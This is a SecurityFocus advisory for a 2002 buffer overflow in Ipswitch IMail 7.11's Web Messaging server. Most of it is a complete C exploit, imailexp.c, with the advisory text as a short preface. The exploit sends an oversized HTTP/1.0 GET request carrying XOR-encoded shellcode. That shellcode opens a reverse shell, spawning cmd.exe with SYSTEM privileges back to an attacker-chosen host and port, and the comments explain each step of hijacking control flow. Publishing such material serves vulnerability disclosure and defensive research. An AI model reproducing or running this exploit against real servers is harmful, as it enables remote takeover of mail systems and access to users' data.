source: http://www.securityfocus.com/bid/5323/info

IMail is a commercial email server software package distributed and maintained by Ipswitch, Incorporated. IMail is available for Microsoft Operating Systems.

The web messaging server is vulnerable to a buffer overflow. When the server receives a request for HTTP version 1.0, and the total request is 96 bytes or greater, a buffer overflow occurs. This could result in the execution of attacker-supplied instructions, and potentially allow an attacker to gain local access.

** Ipswitch has reported they are unable to reproduce this issue. In addition, Ipswitch has stated that the supplied, third party patch may in fact open additional vulnerabilities in the product. Ipswitch suggests that users do not apply the supplied patch.

/*
        imailexp.c
        July 25th, 2002

        IPSwitch IMail 7.11 remote 'SYSTEM' exploit

        there is an overflow in the GET parameter under the HTTP/1.0
        specification in the Web Messaging daemon in all IMail versions
        to date

        <96 bytes><EBP><EIP>
	
	since none of the registers point to our payload on ret some
	trickery was necessary to hit our payload in a dynamic way,
	but nothing difficult..

	execution flow:	
	eip overran, ret (esp-4) -> land at pop ebx, ret10 (esp-18) -> call esp	
	reach corrupted payload	

	preserve esp -> sub esp -> jmp esp	
	preserve esp, and jump to good payload

	recover esp -> execute shell
	let shit fly

        "In 1995, Ipswitch released IMail Server, the first commercial NT Mail Server.
        Seven years later there are over 49 million users of IMail worldwide.

        IMail Server 7.1
        Greater security, improved usability, and new revenue opportunities for service
        providers."

        7 years in development, 20 minutes of BuffSex v0.3(tm), 4 remote 'root' holes

        2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>

// dark spyrit's shell as per usual.. queerly modified to call ExitThread
// yet again.. all that shit on top is to get us home
unsigned char payload[] =
"\x47\x45\x54\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x24\x01\x10\x90\x90\x90\x90\x13\xf7\x02\x10"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x8b\xfc\x81\xc4\x11\x11\x11\x11\x81\xec"
"\x50\xdd\x10\x11\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xe7\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xdb\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc9\x1d\xdc\x95\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0d"
"\x0a\x0d\x0a";

main(char argc, char **argv){
	unsigned long ah;
	unsigned short int ap;
        int fd, i;
        int bufsize = 1024;
        int *buffer = (int *)malloc(bufsize);
        struct sockaddr_in sin;
        struct hostent *he;
        struct in_addr in;

	printf("IMail 7.11 remote exploit (SYSTEM level)\n");
	printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");

        if (argc < 5){
                printf("usage: %s <targethost> <iwebport> <localhost> <localport>\n\n", argv[0]);
                printf("iwebport: IMail Web Messaging port (default 8383)\n\n");
                exit(-1);
        }

        ap  = htons(atoi(argv[4]));
        ap ^= 0x9595;

        if ((he = gethostbyname(argv[3])) == 0){herror(argv[2]);exit(-1);}

        ah  = *((unsigned long *)he->h_addr);
        ah ^= 0x95959595;
                                
        payload[747] = ((ap) & 0xff);
        payload[748] = ((ap >> 8) & 0xff);
        
        payload[752] = ((ah) & 0xff);
        payload[753] = ((ah >> 8) & 0xff);
        payload[754] = ((ah >> 16) & 0xff);
        payload[755] = ((ah >> 24) & 0xff);

	if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
	
	if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
	else
	if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
        sin.sin_port = htons(atoi(argv[2]));
		
	printf("ret: 0x10012490 (IMailsec.dll v.2.6.17.28)\n\n");
	printf("connecting...");

	if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
	
	printf("done.\n");
	
	sleep(1);
	
	printf("dumping payload...");
	if(write(fd, payload, strlen(payload)) < strlen(payload)){perror("write error");exit(-1);}
	printf("done.\n\n");

	printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);
	
	close(fd);

}